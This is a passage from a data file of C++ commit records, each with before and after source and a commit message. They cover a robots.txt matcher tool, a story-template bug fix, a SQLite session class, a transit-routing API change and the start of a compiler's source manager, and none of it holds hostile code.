\" << argv[0]\n << \" <robots.txt filename> <user_agent> <URI>\"\n << std::endl << std::endl;\n std::cerr << \"The URI must be %-encoded according to RFC3986.\"\n << std::endl << std::endl;\n std::cerr << \"Example: \" << std::endl\n << \" \" << argv[0] << \" robots.txt FooBot http:\/\/example.com\/foo\"\n << std::endl;\n}\n\nint main(int argc, char** argv) {\n std::string filename = argc >= 2 ? argv[1] : \"\";\n if (filename == \"-h\" || filename == \"-help\" || filename == \"--help\") {\n ShowHelp(argc, argv);\n return 0;\n }\n if (argc != 4) {\n std::cerr << \"Invalid amount of arguments. Showing help.\"\n << std::endl << std::endl;\n ShowHelp(argc, argv);\n return 1;\n }\n std::string robots_content;\n if (!(LoadFile(filename, &robots_content))) {\n std::cerr << \"failed to read file \\\"\" << filename << \"\\\"\" << std::endl;\n return 1;\n }\n\n std::string user_agent = argv[2];\n std::vector<std::string> user_agents(1, user_agent);\n googlebot::RobotsMatcher matcher;\n std::string url = argv[3];\n bool allowed = matcher.AllowedByRobots(robots_content, &user_agents, url);\n\n std::cout << \"user-agent '\" << user_agent << \"' with URI '\" << argv[3]\n << \"': \" << (allowed ? \"ALLOWED\" : \"DISALLOWED\") << std::endl;\n if (robots_content.empty()) {\n std::cout << \"notice: robots file is empty so all user-agents are allowed\"\n << std::endl;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Created by michael on 16.02.16.\n\/\/\n\n#include <Story\/SimpleStoryTemplate.h>\n\nusing namespace weave;\nusing namespace std;\n\nStoryTemplateResult SimpleStoryTemplate::CreateStory(const EntityMap &requiredEntities, const WeaverGraph &,\n const WorldModel &worldModel,\n shared_ptr<RandomStream> randomStream) const {\n auto entities = getValidEntities(requiredEntities, worldModel, randomStream);\n if (entities.empty()) {\n Logger::Fatal(\"Invalid template call, not all required entities were found!\");\n }\n\n TokenToEntityMap tokenEntityMap;\n StoryTemplateResult result;\n for (uint64_t i = 1; i <= GetRequiredEntities().size(); i++) {\n auto entity = entities[0];\n tokenEntityMap[to_string(i)] = {entity->GetId()};\n\n if (conditions.count(StoryCondition::OncePerEntity)) {\n MetaData markedData;\n markedData.SetValue(key, 1);\n result.worldActions.emplace_back(WorldActionType::UPDATE, entity, markedData);\n }\n }\n\n result.tokenMap = createTokenMapping(tokenEntityMap);\n result.rawText = rawText;\n return result;\n}\n\nbool SimpleStoryTemplate::IsValid(const EntityMap &requiredEntities, const WeaverGraph &,\n const WorldModel &worldModel) const {\n return getValidEntities(requiredEntities, worldModel, make_shared<RandomStream>()).size() > 0;\n}\n\nvector<shared_ptr<WorldEntity>> SimpleStoryTemplate::getValidEntities(const EntityMap &entityMap,\n const WorldModel &worldModel,\n shared_ptr<RandomStream> randomStream) const {\n vector<shared_ptr<WorldEntity>> result;\n for (string type : GetRequiredEntities()) {\n vector<shared_ptr<WorldEntity>> validEntities;\n auto mapIter = entityMap.find(type);\n if (mapIter == entityMap.end()) {\n return validEntities;\n }\n\n for (shared_ptr<WorldEntity> entity : mapIter->second) {\n ID id = entity->GetId();\n MetaData metaData = worldModel.GetMetaData(id);\n\n \/\/ check the \"once per entity\" condition\n if (conditions.count(StoryCondition::OncePerEntity) && metaData.HasValue(key)) {\n continue;\n }\n\n \/\/ check the \"without property\" condition\n auto iter = conditions.find(StoryCondition::WithoutProperty);\n if (iter != conditions.end() && !iter->second.empty() && metaData.HasValue(iter->second[0])) {\n continue;\n }\n\n \/\/ check the \"with property\" condition\n iter = conditions.find(StoryCondition::WithProperty);\n if (iter != conditions.end() && !iter->second.empty() && !metaData.HasValue(iter->second[0])) {\n continue;\n }\n\n \/\/ check the \"greater than\" condition\n iter = conditions.find(StoryCondition::GreaterThan);\n if (iter != conditions.end() && iter->second.size() == 2) {\n string property = iter->second[0];\n int value = atoi(iter->second[1].c_str());\n if (!metaData.HasValue(property) || metaData.GetValue(property) <= value) {\n continue;\n }\n }\n\n \/\/ check the \"smaller than\" condition\n iter = conditions.find(StoryCondition::SmallerThan);\n if (iter != conditions.end() && iter->second.size() == 2) {\n string property = iter->second[0];\n int value = atoi(iter->second[1].c_str());\n if (!metaData.HasValue(property) || metaData.GetValue(property) >= value) {\n continue;\n }\n }\n validEntities.push_back(entity);\n }\n if (validEntities.empty()) {\n return validEntities;\n }\n result.push_back(validEntities[randomStream->GetRandomIndex(validEntities.size())]);\n }\n return result;\n}\n<commit_msg>fixed a bug when a story requires multiple entities<commit_after>\/\/\n\/\/ Created by michael on 16.02.16.\n\/\/\n\n#include <Story\/SimpleStoryTemplate.h>\n\nusing namespace weave;\nusing namespace std;\n\nStoryTemplateResult SimpleStoryTemplate::CreateStory(const EntityMap &requiredEntities, const WeaverGraph &,\n const WorldModel &worldModel,\n shared_ptr<RandomStream> randomStream) const {\n auto entities = getValidEntities(requiredEntities, worldModel, randomStream);\n if (entities.empty()) {\n Logger::Fatal(\"Invalid template call, not all required entities were found!\");\n }\n\n TokenToEntityMap tokenEntityMap;\n StoryTemplateResult result;\n for (uint64_t i = 1; i <= GetRequiredEntities().size(); i++) {\n auto entity = entities[i - 1];\n tokenEntityMap[to_string(i)] = {entity->GetId()};\n\n if (conditions.count(StoryCondition::OncePerEntity)) {\n MetaData markedData;\n markedData.SetValue(key, 1);\n result.worldActions.emplace_back(WorldActionType::UPDATE, entity, markedData);\n }\n }\n\n result.tokenMap = createTokenMapping(tokenEntityMap);\n result.rawText = rawText;\n return result;\n}\n\nbool SimpleStoryTemplate::IsValid(const EntityMap &requiredEntities, const WeaverGraph &,\n const WorldModel &worldModel) const {\n return getValidEntities(requiredEntities, worldModel, make_shared<RandomStream>()).size() > 0;\n}\n\nvector<shared_ptr<WorldEntity>> SimpleStoryTemplate::getValidEntities(const EntityMap &entityMap,\n const WorldModel &worldModel,\n shared_ptr<RandomStream> randomStream) const {\n vector<shared_ptr<WorldEntity>> result;\n for (string type : GetRequiredEntities()) {\n vector<shared_ptr<WorldEntity>> validEntities;\n auto mapIter = entityMap.find(type);\n if (mapIter == entityMap.end()) {\n return validEntities;\n }\n\n for (shared_ptr<WorldEntity> entity : mapIter->second) {\n ID id = entity->GetId();\n MetaData metaData = worldModel.GetMetaData(id);\n\n \/\/ check the \"once per entity\" condition\n if (conditions.count(StoryCondition::OncePerEntity) && metaData.HasValue(key)) {\n continue;\n }\n\n \/\/ check the \"without property\" condition\n auto iter = conditions.find(StoryCondition::WithoutProperty);\n if (iter != conditions.end() && !iter->second.empty() && metaData.HasValue(iter->second[0])) {\n continue;\n }\n\n \/\/ check the \"with property\" condition\n iter = conditions.find(StoryCondition::WithProperty);\n if (iter != conditions.end() && !iter->second.empty() && !metaData.HasValue(iter->second[0])) {\n continue;\n }\n\n \/\/ check the \"greater than\" condition\n iter = conditions.find(StoryCondition::GreaterThan);\n if (iter != conditions.end() && iter->second.size() == 2) {\n string property = iter->second[0];\n int value = atoi(iter->second[1].c_str());\n if (!metaData.HasValue(property) || metaData.GetValue(property) <= value) {\n continue;\n }\n }\n\n \/\/ check the \"smaller than\" condition\n iter = conditions.find(StoryCondition::SmallerThan);\n if (iter != conditions.end() && iter->second.size() == 2) {\n string property = iter->second[0];\n int value = atoi(iter->second[1].c_str());\n if (!metaData.HasValue(property) || metaData.GetValue(property) >= value) {\n continue;\n }\n }\n validEntities.push_back(entity);\n }\n if (validEntities.empty()) {\n return validEntities;\n }\n result.push_back(validEntities[randomStream->GetRandomIndex(validEntities.size())]);\n }\n return result;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef GUARD_session_hpp\n#define GUARD_session_hpp\n\n#include <sqlite3.h>\n#include <iostream>\n\nnamespace phatbooks\n{\n\nclass Session\n{\npublic:\n\t\/**\n\t * Starts a Phatbooks user session.\n\t * Initializes SQLite3 (but does not create database\n\t * connection).\n\t *\/\n\tSession();\n\n\t\/**\n\t * Ends a Phatbooks user session.\n\t * Shuts down SQLite3. (It is assumed that there are no\n\t * open connections at this point.)\n\t *\/\n\t~Session();\n\nprivate:\n\n};\n\n\ninline Session::Session()\n{\n\tstd::clog << \"Creating session...\" << std::endl;\n\tsqlite3_initialize();\n\tstd::clog << \"SQLite3 has been initialized.\" << std::endl;\n}\n\ninline Session::~Session()\n{\n\tstd::clog << \"Destroying session...\" << std::endl;\n\tsqlite3_shutdown();\n\tstd::clog << \"SQLite3 has been shut down.\" << std::endl;\n}\n\n\n} \/\/ namespace phatbooks\n\n#endif \/\/ GUARD_session_hpp\n<commit_msg>Made Session noncopyable.<commit_after>#ifndef GUARD_session_hpp\n#define GUARD_session_hpp\n\n#include <sqlite3.h>\n#include <boost\/utility.hpp>\n#include <iostream>\n\nnamespace phatbooks\n{\n\nclass Session\n{\npublic:\n\t\/**\n\t * Starts a Phatbooks user session.\n\t * Initializes SQLite3 (but does not create database\n\t * connection).\n\t *\/\n\tSession();\n\n\t\/**\n\t * Ends a Phatbooks user session.\n\t * Shuts down SQLite3. (It is assumed that there are no\n\t * open connections at this point.)\n\t *\/\n\t~Session();\n\nprivate:\n\n};\n\n\ninline Session::Session()\n{\n\tstd::clog << \"Creating session...\" << std::endl;\n\tsqlite3_initialize();\n\tstd::clog << \"SQLite3 has been initialized.\" << std::endl;\n}\n\ninline Session::~Session()\n{\n\tstd::clog << \"Destroying session...\" << std::endl;\n\tsqlite3_shutdown();\n\tstd::clog << \"SQLite3 has been shut down.\" << std::endl;\n}\n\n\n} \/\/ namespace phatbooks\n\n#endif \/\/ GUARD_session_hpp\n<|endoftext|>"} {"text":"<commit_before>#include \"raptor_api.h\"\n#include \"type\/pb_converter.h\"\n#include \"boost\/date_time\/posix_time\/posix_time.hpp\"\n\/\/#include \"street_network\/street_network_api.h\"\n\nnamespace navitia { namespace routing { namespace raptor {\n\nstd::string iso_string(const nt::Data & d, int date, int hour){\n boost::posix_time::ptime date_time(d.meta.production_date.begin() + boost::gregorian::days(date));\n date_time += boost::posix_time::seconds(hour);\n return boost::posix_time::to_iso_string(date_time);\n}\n\npbnavitia::Response make_pathes(const std::vector<navitia::routing::Path> &paths, const nt::Data & d, streetnetwork::StreetNetwork & worker) {\n pbnavitia::Response pb_response;\n pb_response.set_requested_api(pbnavitia::PLANNER);\n\n\n auto temp = worker.get_direct_path();\n pbnavitia::Planner * planner = pb_response.mutable_planner();\n if(paths.size() > 0 || temp.path_items.size() > 0) {\n planner->set_response_type(pbnavitia::ITINERARY_FOUND);\n if(temp.path_items.size() > 0) {\n pbnavitia::Journey * pb_journey = planner->add_journey();\n pb_journey->set_duration(temp.length);\n fill_road_section(temp, d, pb_journey->add_section(), 1);\n }\n for(Path path : paths) {\n DateTime departure_time = DateTime::inf, arrival_time = DateTime::inf;\n pbnavitia::Journey * pb_journey = planner->add_journey();\n pb_journey->set_nb_transfers(path.nb_changes);\n pb_journey->set_requested_date_time(boost::posix_time::to_iso_string(path.request_time));\n\n \/\/ La marche à pied initiale si on avait donné une coordonnée\n if(path.items.size() > 0 && path.items.front().stop_points.size() > 0 && path.items.front().stop_points.size() > 0){\n const auto temp = worker.get_path(path.items.front().stop_points.front());\n if(temp.path_items.size() > 0) {\n fill_road_section(temp , d, pb_journey->add_section(), 1);\n departure_time = path.items.front().departure - temp.length\/1.38;\n }\n }\n\n \/\/ La partie TC et correspondances\n for(PathItem & item : path.items){\n pbnavitia::Section * pb_section = pb_journey->add_section();\n if(item.type == public_transport){\n pb_section->set_type(pbnavitia::PUBLIC_TRANSPORT);\n if( item.vj_idx != type::invalid_idx){ \/\/ TODO : réfléchir si ça peut vraiment arriver\n const type::VehicleJourney & vj = d.pt_data.vehicle_journeys[item.vj_idx];\n const type::Route & route = d.pt_data.routes[vj.route_idx];\n const type::Line & line = d.pt_data.lines[route.line_idx];\n if(line.network_idx != type::invalid_idx)\n pb_section->set_network(d.pt_data.networks[line.network_idx].name );\n else\n pb_section->set_network(\"\");\n if(vj.mode_idx != type::invalid_idx)\n pb_section->set_mode(d.pt_data.modes[vj.mode_idx].name);\n pb_section->set_code(line.code);\n pb_section->set_headsign(vj.name);\n pb_section->set_direction(route.name);\n fill_pb_object(line.idx, d, pb_section->mutable_line());\n }\n for(size_t i=0;i<item.stop_points.size();++i){\n pbnavitia::StopTime * stop_time = pb_section->add_stop_time();\n auto arr_time = item.arrivals[i];\n stop_time->set_arrival_date_time(iso_string(d, arr_time.date(), arr_time.hour()));\n auto dep_time = item.departures[i];\n stop_time->set_departure_date_time(iso_string(d, dep_time.date(), dep_time.hour()));\n fill_pb_object(item.stop_points[i], d, stop_time->mutable_stop_point(), 1);\n }\n\n if(item.stop_points.size() >= 2) {\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.front()], d, pb_section->mutable_origin());\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.back()], d, pb_section->mutable_destination());\n }\n }\n\n else {\n pb_section->set_type(pbnavitia::TRANSFER);\n pb_section->set_duration(item.departure - item.arrival);\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.front()], d, pb_section->mutable_origin());\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.back()], d, pb_section->mutable_destination());\n }\n pb_section->set_duration(item.arrival - item.departure);\n if(departure_time == DateTime::inf)\n departure_time = item.departure;\n arrival_time = item.arrival;\n pb_journey->set_duration(arrival_time - departure_time);\n }\n\n\n\n \/\/ La marche à pied finale si on avait donné une coordonnée\n if(path.items.size() > 0 && path.items.back().stop_points.size() > 0 && path.items.back().stop_points.size()>0){\n auto temp = worker.get_path(path.items.back().stop_points.back(), true);\n if(temp.path_items.size() > 0) {\n fill_road_section(temp, d, pb_journey->add_section(), 1);\n arrival_time = arrival_time + temp.length\/1.38;\n }\n }\n pb_journey->set_departure_date_time(iso_string(d, departure_time.date(), departure_time.hour()));\n pb_journey->set_arrival_date_time(iso_string(d, arrival_time.date(), arrival_time.hour()));\n }\n } else {\n planner->set_response_type(pbnavitia::NO_SOLUTION);\n }\n\n return pb_response;\n}\n\nstd::vector<std::pair<type::idx_t, double> > get_stop_points(const type::EntryPoint &ep, const type::Data & data, streetnetwork::StreetNetwork & worker, bool use_second = false){\n std::vector<std::pair<type::idx_t, double> > result;\n\n switch(ep.type) {\n case navitia::type::Type_e::eStopArea:\n {\n auto it = data.pt_data.stop_area_map.find(ep.external_code);\n if(it!= data.pt_data.stop_area_map.end()) {\n for(auto spidx : data.pt_data.stop_areas[it->second].stop_point_list) {\n result.push_back(std::make_pair(spidx, 0));\n }\n }\n } break;\n case type::Type_e::eStopPoint: {\n auto it = data.pt_data.stop_point_map.find(ep.external_code);\n if(it != data.pt_data.stop_point_map.end()){\n result.push_back(std::make_pair(data.pt_data.stop_points[it->second].idx, 0));\n }\n } break;\n \/\/ AA gestion des adresses\n case type::Type_e::eAddress:\n case type::Type_e::eCoord: {\n result = worker.find_nearest_stop_points(ep.coordinates, data.pt_data.stop_point_proximity_list, 1000, use_second);\n } break;\n default: break;\n }\n return result;\n}\n\n\npbnavitia::Response make_response(RAPTOR &raptor, const type::EntryPoint &origin, const type::EntryPoint &destination,\n const std::vector<std::string> &datetimes_str, bool clockwise,\n std::multimap<std::string, std::string> forbidden,\n streetnetwork::StreetNetwork & worker) {\n pbnavitia::Response response;\n response.set_requested_api(pbnavitia::PLANNER);\n\n std::vector<boost::posix_time::ptime> datetimes;\n for(std::string datetime: datetimes_str){\n try {\n boost::posix_time::ptime ptime;\n ptime = boost::posix_time::from_iso_string(datetime);\n if(!raptor.data.meta.production_date.contains(ptime.date())) {\n response.mutable_planner()->set_response_type(pbnavitia::DATE_OUT_OF_BOUNDS);\n response.set_info(\"Example of invalid date: \" + datetime);\n return response;\n }\n datetimes.push_back(ptime);\n } catch(...){\n response.set_error(\"Impossible to parse date \" + datetime);\n return response;\n }\n }\n if(clockwise)\n std::sort(datetimes.begin(), datetimes.end(), \n [](boost::posix_time::ptime dt1, boost::posix_time::ptime dt2){return dt1 > dt2;});\n else\n std::sort(datetimes.begin(), datetimes.end());\n\n worker.init();\n auto departures = get_stop_points(origin, raptor.data, worker);\n auto destinations = get_stop_points(destination, raptor.data, worker, true);\n if(departures.size() == 0 && destinations.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_ORIGIN_NOR_DESTINATION_POINT);\n return response;\n }\n\n if(departures.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_ORIGIN_POINT);\n return response;\n }\n\n if(destinations.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_DESTINATION_POINT);\n return response;\n }\n\n\n std::vector<Path> result;\n\n DateTime borne;\n if(!clockwise)\n borne = DateTime::min;\n else {\n\/\/ std::vector<DateTime> dts;\n\/\/ for(boost::posix_time::ptime datetime : datetimes){\n\/\/ int day = (datetime.date() - raptor.data.meta.production_date.begin()).days();\n\/\/ int time = datetime.time_of_day().total_seconds();\n\/\/ dts.push_back(DateTime(day, time));\n\/\/ }\n\n\/\/ return make_pathes(raptor.compute_all(departures, destinations, dts, borne), raptor.data, worker);\n borne = DateTime::inf;\n }\n\n for(boost::posix_time::ptime datetime : datetimes){\n std::vector<Path> tmp;\n int day = (datetime.date() - raptor.data.meta.production_date.begin()).days();\n int time = datetime.time_of_day().total_seconds();\n\n if(clockwise)\n tmp = raptor.compute_all(departures, destinations, DateTime(day, time), borne, forbidden);\n else\n tmp = raptor.compute_reverse_all(departures, destinations, DateTime(day, time), borne, forbidden);\n\n \/\/ Lorsqu'on demande qu'un seul horaire, on garde tous les résultas\n if(datetimes.size() == 1){\n result = tmp;\n for(auto & path : result){\n path.request_time = datetime;\n }\n } else if(tmp.size() > 0) {\n \/\/ Lorsqu'on demande plusieurs horaires, on garde que l'arrivée au plus tôt \/ départ au plus tard\n tmp.back().request_time = datetime;\n result.push_back(tmp.back());\n borne = tmp.back().items.back().arrival;\n } else \/\/ Lorsqu'on demande plusieurs horaires, et qu'il n'y a pas de résultat, on retourne un itinéraire vide\n result.push_back(Path());\n }\n if(clockwise)\n std::reverse(result.begin(), result.end());\n\n return make_pathes(result, raptor.data, worker);\n}\n\n}}}\n<commit_msg>raptor api : Le stop_area est affiché dans origin\/destination, plus dans chaque stoptime<commit_after>#include \"raptor_api.h\"\n#include \"type\/pb_converter.h\"\n#include \"boost\/date_time\/posix_time\/posix_time.hpp\"\n\/\/#include \"street_network\/street_network_api.h\"\n\nnamespace navitia { namespace routing { namespace raptor {\n\nstd::string iso_string(const nt::Data & d, int date, int hour){\n boost::posix_time::ptime date_time(d.meta.production_date.begin() + boost::gregorian::days(date));\n date_time += boost::posix_time::seconds(hour);\n return boost::posix_time::to_iso_string(date_time);\n}\n\npbnavitia::Response make_pathes(const std::vector<navitia::routing::Path> &paths, const nt::Data & d, streetnetwork::StreetNetwork & worker) {\n pbnavitia::Response pb_response;\n pb_response.set_requested_api(pbnavitia::PLANNER);\n\n\n auto temp = worker.get_direct_path();\n pbnavitia::Planner * planner = pb_response.mutable_planner();\n if(paths.size() > 0 || temp.path_items.size() > 0) {\n planner->set_response_type(pbnavitia::ITINERARY_FOUND);\n if(temp.path_items.size() > 0) {\n pbnavitia::Journey * pb_journey = planner->add_journey();\n pb_journey->set_duration(temp.length);\n fill_road_section(temp, d, pb_journey->add_section(), 1);\n }\n for(Path path : paths) {\n DateTime departure_time = DateTime::inf, arrival_time = DateTime::inf;\n pbnavitia::Journey * pb_journey = planner->add_journey();\n pb_journey->set_nb_transfers(path.nb_changes);\n pb_journey->set_requested_date_time(boost::posix_time::to_iso_string(path.request_time));\n\n \/\/ La marche à pied initiale si on avait donné une coordonnée\n if(path.items.size() > 0 && path.items.front().stop_points.size() > 0 && path.items.front().stop_points.size() > 0){\n const auto temp = worker.get_path(path.items.front().stop_points.front());\n if(temp.path_items.size() > 0) {\n fill_road_section(temp , d, pb_journey->add_section(), 1);\n departure_time = path.items.front().departure - temp.length\/1.38;\n }\n }\n\n \/\/ La partie TC et correspondances\n for(PathItem & item : path.items){\n pbnavitia::Section * pb_section = pb_journey->add_section();\n if(item.type == public_transport){\n pb_section->set_type(pbnavitia::PUBLIC_TRANSPORT);\n if( item.vj_idx != type::invalid_idx){ \/\/ TODO : réfléchir si ça peut vraiment arriver\n const type::VehicleJourney & vj = d.pt_data.vehicle_journeys[item.vj_idx];\n const type::Route & route = d.pt_data.routes[vj.route_idx];\n const type::Line & line = d.pt_data.lines[route.line_idx];\n if(line.network_idx != type::invalid_idx)\n pb_section->set_network(d.pt_data.networks[line.network_idx].name );\n else\n pb_section->set_network(\"\");\n if(vj.mode_idx != type::invalid_idx)\n pb_section->set_mode(d.pt_data.modes[vj.mode_idx].name);\n pb_section->set_code(line.code);\n pb_section->set_headsign(vj.name);\n pb_section->set_direction(route.name);\n fill_pb_object(line.idx, d, pb_section->mutable_line());\n }\n for(size_t i=0;i<item.stop_points.size();++i){\n pbnavitia::StopTime * stop_time = pb_section->add_stop_time();\n auto arr_time = item.arrivals[i];\n stop_time->set_arrival_date_time(iso_string(d, arr_time.date(), arr_time.hour()));\n auto dep_time = item.departures[i];\n stop_time->set_departure_date_time(iso_string(d, dep_time.date(), dep_time.hour()));\n fill_pb_object(item.stop_points[i], d, stop_time->mutable_stop_point(), 0);\n }\n\n if(item.stop_points.size() >= 2) {\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.front()], d, pb_section->mutable_origin(), 1);\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.back()], d, pb_section->mutable_destination(), 1);\n }\n }\n\n else {\n pb_section->set_type(pbnavitia::TRANSFER);\n pb_section->set_duration(item.departure - item.arrival);\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.front()], d, pb_section->mutable_origin(), 1);\n fill_pb_placemark(d.pt_data.stop_points[item.stop_points.back()], d, pb_section->mutable_destination(), 1);\n }\n pb_section->set_duration(item.arrival - item.departure);\n if(departure_time == DateTime::inf)\n departure_time = item.departure;\n arrival_time = item.arrival;\n pb_journey->set_duration(arrival_time - departure_time);\n }\n\n\n\n \/\/ La marche à pied finale si on avait donné une coordonnée\n if(path.items.size() > 0 && path.items.back().stop_points.size() > 0 && path.items.back().stop_points.size()>0){\n auto temp = worker.get_path(path.items.back().stop_points.back(), true);\n if(temp.path_items.size() > 0) {\n fill_road_section(temp, d, pb_journey->add_section(), 1);\n arrival_time = arrival_time + temp.length\/1.38;\n }\n }\n pb_journey->set_departure_date_time(iso_string(d, departure_time.date(), departure_time.hour()));\n pb_journey->set_arrival_date_time(iso_string(d, arrival_time.date(), arrival_time.hour()));\n }\n } else {\n planner->set_response_type(pbnavitia::NO_SOLUTION);\n }\n\n return pb_response;\n}\n\nstd::vector<std::pair<type::idx_t, double> > get_stop_points(const type::EntryPoint &ep, const type::Data & data, streetnetwork::StreetNetwork & worker, bool use_second = false){\n std::vector<std::pair<type::idx_t, double> > result;\n\n switch(ep.type) {\n case navitia::type::Type_e::eStopArea:\n {\n auto it = data.pt_data.stop_area_map.find(ep.external_code);\n if(it!= data.pt_data.stop_area_map.end()) {\n for(auto spidx : data.pt_data.stop_areas[it->second].stop_point_list) {\n result.push_back(std::make_pair(spidx, 0));\n }\n }\n } break;\n case type::Type_e::eStopPoint: {\n auto it = data.pt_data.stop_point_map.find(ep.external_code);\n if(it != data.pt_data.stop_point_map.end()){\n result.push_back(std::make_pair(data.pt_data.stop_points[it->second].idx, 0));\n }\n } break;\n \/\/ AA gestion des adresses\n case type::Type_e::eAddress:\n case type::Type_e::eCoord: {\n result = worker.find_nearest_stop_points(ep.coordinates, data.pt_data.stop_point_proximity_list, 1000, use_second);\n } break;\n default: break;\n }\n return result;\n}\n\n\npbnavitia::Response make_response(RAPTOR &raptor, const type::EntryPoint &origin, const type::EntryPoint &destination,\n const std::vector<std::string> &datetimes_str, bool clockwise,\n std::multimap<std::string, std::string> forbidden,\n streetnetwork::StreetNetwork & worker) {\n pbnavitia::Response response;\n response.set_requested_api(pbnavitia::PLANNER);\n\n std::vector<boost::posix_time::ptime> datetimes;\n for(std::string datetime: datetimes_str){\n try {\n boost::posix_time::ptime ptime;\n ptime = boost::posix_time::from_iso_string(datetime);\n if(!raptor.data.meta.production_date.contains(ptime.date())) {\n response.mutable_planner()->set_response_type(pbnavitia::DATE_OUT_OF_BOUNDS);\n response.set_info(\"Example of invalid date: \" + datetime);\n return response;\n }\n datetimes.push_back(ptime);\n } catch(...){\n response.set_error(\"Impossible to parse date \" + datetime);\n return response;\n }\n }\n if(clockwise)\n std::sort(datetimes.begin(), datetimes.end(), \n [](boost::posix_time::ptime dt1, boost::posix_time::ptime dt2){return dt1 > dt2;});\n else\n std::sort(datetimes.begin(), datetimes.end());\n\n worker.init();\n auto departures = get_stop_points(origin, raptor.data, worker);\n auto destinations = get_stop_points(destination, raptor.data, worker, true);\n if(departures.size() == 0 && destinations.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_ORIGIN_NOR_DESTINATION_POINT);\n return response;\n }\n\n if(departures.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_ORIGIN_POINT);\n return response;\n }\n\n if(destinations.size() == 0){\n response.mutable_planner()->set_response_type(pbnavitia::NO_DESTINATION_POINT);\n return response;\n }\n\n\n std::vector<Path> result;\n\n DateTime borne;\n if(!clockwise)\n borne = DateTime::min;\n else {\n\/\/ std::vector<DateTime> dts;\n\/\/ for(boost::posix_time::ptime datetime : datetimes){\n\/\/ int day = (datetime.date() - raptor.data.meta.production_date.begin()).days();\n\/\/ int time = datetime.time_of_day().total_seconds();\n\/\/ dts.push_back(DateTime(day, time));\n\/\/ }\n\n\/\/ return make_pathes(raptor.compute_all(departures, destinations, dts, borne), raptor.data, worker);\n borne = DateTime::inf;\n }\n\n for(boost::posix_time::ptime datetime : datetimes){\n std::vector<Path> tmp;\n int day = (datetime.date() - raptor.data.meta.production_date.begin()).days();\n int time = datetime.time_of_day().total_seconds();\n\n if(clockwise)\n tmp = raptor.compute_all(departures, destinations, DateTime(day, time), borne, forbidden);\n else\n tmp = raptor.compute_reverse_all(departures, destinations, DateTime(day, time), borne, forbidden);\n\n \/\/ Lorsqu'on demande qu'un seul horaire, on garde tous les résultas\n if(datetimes.size() == 1){\n result = tmp;\n for(auto & path : result){\n path.request_time = datetime;\n }\n } else if(tmp.size() > 0) {\n \/\/ Lorsqu'on demande plusieurs horaires, on garde que l'arrivée au plus tôt \/ départ au plus tard\n tmp.back().request_time = datetime;\n result.push_back(tmp.back());\n borne = tmp.back().items.back().arrival;\n } else \/\/ Lorsqu'on demande plusieurs horaires, et qu'il n'y a pas de résultat, on retourne un itinéraire vide\n result.push_back(Path());\n }\n if(clockwise)\n std::reverse(result.begin(), result.end());\n\n return make_pathes(result, raptor.data, worker);\n}\n\n}}}\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ SourceManager.cpp\n\/\/ Source file management.\n\/\/\n\/\/ File is under the MIT license; see LICENSE for details.\n\/\/------------------------------------------------------------------------------\n#include \"SourceManager.h\"\n\n#include <algorithm>\n#include <fstream>\n\n#include \"util\/HashMap.h\"\n\nnamespace slang {\n\nSourceManager::SourceManager() {\n \/\/ add a dummy entry to the start of the directory list so that our file IDs line up\n FileInfo file;\n bufferEntries.emplace_back(file);\n}\n\nstd::string SourceManager::makeAbsolutePath(StringRef path) const {\n if (!path)\n return \"\";\n\n return Path::makeAbsolute(path).str();\n}\n\nvoid SourceManager::addSystemDirectory(StringRef path) {\n systemDirectories.push_back(Path::makeAbsolute(path));\n}\n\nvoid SourceManager::addUserDirectory(StringRef path) {\n userDirectories.push_back(Path::makeAbsolute(path));\n}\n\nuint32_t SourceManager::getLineNumber(SourceLocation location) const {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n uint32_t rawLineNumber = getRawLineNumber(fileLocation);\n if (rawLineNumber == 0)\n return 0;\n\n FileData* fd = getFileData(fileLocation.buffer());\n auto lineDirective = fd->getPreviousLineDirective(rawLineNumber);\n\n if (!lineDirective)\n return rawLineNumber;\n else\n return lineDirective->lineOfDirective + (rawLineNumber - lineDirective->lineInFile) - 1;\n}\n\nuint32_t SourceManager::getColumnNumber(SourceLocation location) const {\n FileData* fd = getFileData(location.buffer());\n if (!fd)\n return 0;\n\n \/\/ walk backward to find start of line\n uint32_t lineStart = location.offset();\n ASSERT(lineStart < fd->mem.count());\n while (lineStart > 0 && fd->mem[lineStart - 1] != '\\n' && fd->mem[lineStart - 1] != '\\r')\n lineStart--;\n\n return location.offset() - lineStart + 1;\n}\n\nStringRef SourceManager::getFileName(SourceLocation location) const {\n SourceLocation fileLocation = getFullyExpandedLoc(location);\n\n \/\/ Avoid computing line offsets if we just need a name of `line-less file\n FileData* fd = getFileData(fileLocation.buffer());\n if (!fd)\n return nullptr;\n else if (fd->lineDirectives.empty())\n return StringRef(fd->name);\n\n auto lineDirective = fd->getPreviousLineDirective(getRawLineNumber(fileLocation));\n if (!lineDirective)\n return StringRef(fd->name);\n else\n return StringRef(lineDirective->name);\n}\n\nSourceLocation SourceManager::getIncludedFrom(BufferID buffer) const {\n if (!buffer)\n return SourceLocation();\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get<FileInfo>(bufferEntries[buffer.id]).includedFrom;\n}\n\nbool SourceManager::isFileLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return false;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get_if<FileInfo>(&bufferEntries[buffer.id]) != nullptr;\n}\n\nbool SourceManager::isMacroLoc(SourceLocation location) const {\n auto buffer = location.buffer();\n if (!buffer)\n return false;\n\n ASSERT(buffer.id < bufferEntries.size());\n return std::get_if<ExpansionInfo>(&bufferEntries[buffer.id]) != nullptr;\n}\n\nbool SourceManager::isIncludedFileLoc(SourceLocation location) const {\n return getIncludedFrom(location.buffer()).valid();\n}\n\nbool 